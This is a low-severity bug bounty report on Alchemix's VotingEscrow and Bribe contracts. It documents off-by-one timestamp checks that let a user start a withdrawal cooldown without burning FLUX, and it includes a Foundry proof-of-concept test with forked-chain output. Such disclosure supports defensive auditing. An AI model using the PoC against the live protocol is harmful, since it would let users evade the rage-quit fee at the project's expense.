31588 - [SC - Low] Users could start cooldown period for their wit...

Submitted on May 21st 2024 at 15:18:40 UTC by @savi0ur for Boost | Alchemix

Report ID: #31588

Report type: Smart Contract

Report severity: Low

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

Impacts:

• Contract fails to deliver promised returns, but doesn't lose value

Description

Bug Description

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L379

function claimableFlux(uint256 _tokenId) public view returns (uint256) {
    // If the lock is expired, no flux is claimable at the current epoch
    if (block.timestamp > locked[_tokenId].end) { //@audit
        return 0;
    }

    // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
    return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
}

In claimableFlux function, block.timestamp > locked[_tokenId].end is used to check if lock is expired. According to this condition, lock is not expired till block.timestamp == locked[_tokenId].end.

But in other places of the code, same check is not there. As shown below. https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1156

function _calculatePoint(LockedBalance memory _locked, uint256 _time) internal pure returns (Point memory point) {
    if (_locked.end > _time && _locked.amount > 0) { //@audit
        point.slope = _locked.maxLockEnabled ? int256(0) : (int256(_locked.amount) * iMULTIPLIER) / iMAXTIME;
        point.bias = _locked.maxLockEnabled
            ? ((int256(_locked.amount) * iMULTIPLIER) / iMAXTIME) * (int256(_locked.end - _time))
            : (point.slope * (int256(_locked.end - _time)));
    }
}

While calculating point and bias, its first checking if lock has not expired _locked.end > _time and _locked.amount > 0, then calculate Point. According to above check from claimableFlux function, it should be _locked.end >= _time.

Similarly, https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L727

function updateUnlockTime(uint256 _tokenId, uint256 _lockDuration, bool _maxLockEnabled) external nonreentrant {
    // ..SNIP..

    // If max lock is not enabled, require that the lock is not expired
    if (!_locked.maxLockEnabled) require(_locked.end > block.timestamp, "Lock expired"); //@audit
    // ..SNIP..
}

It should be if (!_locked.maxLockEnabled) require(_locked.end >= block.timestamp, "Lock expired");

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L672

function depositFor(uint256 _tokenId, uint256 _value) external nonreentrant {
    // ..SNIP..
    require(_locked.end > block.timestamp, "Cannot add to expired lock. Withdraw");
    // ..SNIP..
}

It should be require(_locked.end >= block.timestamp, "Cannot add to expired lock. Withdraw");

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L748

function withdraw(uint256 _tokenId) public nonreentrant {
    // ..SNIP..
    require(block.timestamp >= _locked.cooldown, "Cooldown period in progress");
    // ..SNIP..
}

For cooldown period check, it should not allow to withdraw when block.timestamp == _locked.cooldown, as cooldown has not expired yet when its equal. It should be require(block.timestamp > _locked.cooldown, "Cooldown period in progress");

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L630-L631

function merge(uint256 _from, uint256 _to) external {
    // ..SNIP..
    require(_locked0.end > block.timestamp, "Cannot merge when lock expired");
    require(_locked1.end > block.timestamp, "Cannot merge when lock expired");

It should be require(_lockedX.end >= block.timestamp, "Cannot merge when lock expired");.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L196

function getPriorVotingIndex(uint256 timestamp) public view returns (uint256) {
    // ..SNIP..
    // Check most recent balance
    if (votingCheckpoints[nCheckpoints - 1].timestamp < timestamp) {
        return (nCheckpoints - 1);
    }

It should be if (votingCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {. See getPriorBalanceIndex function.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L229

function earned(address token, uint256 tokenId) public view returns (uint256) {
    if (numCheckpoints[tokenId] == 0) {
        return 0;
    }

    uint256 _startTimestamp = lastEarn[token][tokenId];

    // Prevent earning twice within an epoch
    if (block.timestamp - _bribeStart(_startTimestamp) < DURATION) {
        return 0;
    }

It should be if (block.timestamp - _bribeStart(_startTimestamp) <= DURATION) {.

https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L792

function startCooldown(uint256 _tokenId) external {
    // ..SNIP..
    // If lock is not expired, cooldown can only be started by burning FLUX
    if (block.timestamp < _locked.end) {
        // ..SNIP..
    }

    emit CooldownStarted(msg.sender, _tokenId, _locked.cooldown);
}

It should be if (block.timestamp <= _locked.end) {.

Due to the above incorrect checks, user's could start cooldown period for their withdrawal without paying any FLUX tokens.

Impact

User's could start cooldown period for their withdrawal without paying any FLUX tokens. User will have both FLUX tokens and their BPT tokens at the end of EPOCH. Its not align with what the project requirement is, i.e, to charge rage quit fee in terms of FLUX tokens for withdrawing before lock ends.

This free FLUX tokens later can be use to boost their votes.

Recommendation

Implement correct checks as described above.

References

• https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

• https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol

• https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol

Proof Of Concept

Steps to Run using Foundry:

• Paste following foundry code in src/test/VotingEscrow.t.sol

• Run using FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testCooldownWithoutPayingFlux -vv

// Start cool down period without paying any flux tokens
function testCooldownWithoutPayingFlux() public {
    hevm.startPrank(admin);

    uint256 tokenId = veALCX.createLock(TOKEN_1, FIVE_WEEKS, false);

    uint256 bptBalanceBefore = IERC20(bpt).balanceOf(admin);

    uint256 fluxBalanceBefore = IERC20(flux).balanceOf(admin);
    uint256 alcxBalanceBefore = IERC20(alcx).balanceOf(admin);

    console.log("\nBefore:");
    console.log("bpt balance:", bptBalanceBefore);
    console.log("flux balance:", fluxBalanceBefore);
    console.log("alcx balance:", alcxBalanceBefore);

    hevm.expectRevert(abi.encodePacked("Cooldown period has not started"));
    veALCX.withdraw(tokenId);

    voter.reset(tokenId);

    hevm.warp(newEpoch());

    voter.distribute();

    uint256 unclaimedAlcx = distributor.claimable(tokenId);
    uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId);
    console.log("unclaimedAlcx:", unclaimedAlcx);
    console.log("unclaimedFlux", unclaimedFlux);

    hevm.warp(veALCX.lockEnd(tokenId));
    console.log("\nLock state:");
    console.log("veALCX.lockEnd(tokenId):", veALCX.lockEnd(tokenId));
    console.log("block.timestamp:", block.timestamp);
    console.log("Lock Expired (veALCX.lockEnd(tokenId) < block.timestamp) ?: ", veALCX.lockEnd(tokenId) < block.timestamp);
    
    // Start cooldown once lock is expired
    veALCX.startCooldown(tokenId);

    hevm.expectRevert(abi.encodePacked("Cooldown period in progress"));
    veALCX.withdraw(tokenId);

    hevm.warp(newEpoch());

    veALCX.withdraw(tokenId);

    uint256 bptBalanceAfter = IERC20(bpt).balanceOf(admin);
    uint256 fluxBalanceAfter = IERC20(flux).balanceOf(admin);
    uint256 alcxBalanceAfter = IERC20(alcx).balanceOf(admin);

    console.log("\nAfter:");
    console.log("bpt balance:", bptBalanceAfter);
    console.log("flux balance:", fluxBalanceAfter);
    console.log("alcx balance:", alcxBalanceAfter);

    console.log("bpt diff:", bptBalanceAfter - bptBalanceBefore);
    // Bpt balance after should increase by the withdraw amount
    assertEq(bptBalanceAfter - bptBalanceBefore, TOKEN_1);

    // ALCX and flux balance should increase
    assertEq(alcxBalanceAfter, alcxBalanceBefore + unclaimedAlcx, "didn't claim alcx");
    assertEq(fluxBalanceAfter, fluxBalanceBefore + unclaimedFlux, "didn't claim flux");

    // Check that the token is burnt
    assertEq(veALCX.balanceOfToken(tokenId), 0);
    assertEq(veALCX.ownerOf(tokenId), address(0));

    hevm.stopPrank();
}

Console Output:

> FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testCooldownWithoutPayingFlux -vv

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testCooldownWithoutPayingFlux() (gas: 5837088)
Logs:

Before:
  bpt balance: 99999999000000000000000000
  flux balance: 0
  alcx balance: 293395801110954330220661
  unclaimedAlcx: 6139572462147626427072
  unclaimedFlux 95889301115384577

Lock state:
  veALCX.lockEnd(tokenId): 1685577600
  block.timestamp: 1685577600
  Lock Expired (veALCX.lockEnd(tokenId) < block.timestamp) ?:  false

After:
  bpt balance: 100000000000000000000000000
  flux balance: 95889301115384577
  alcx balance: 299535373573101956647733
  bpt diff: 1000000000000000000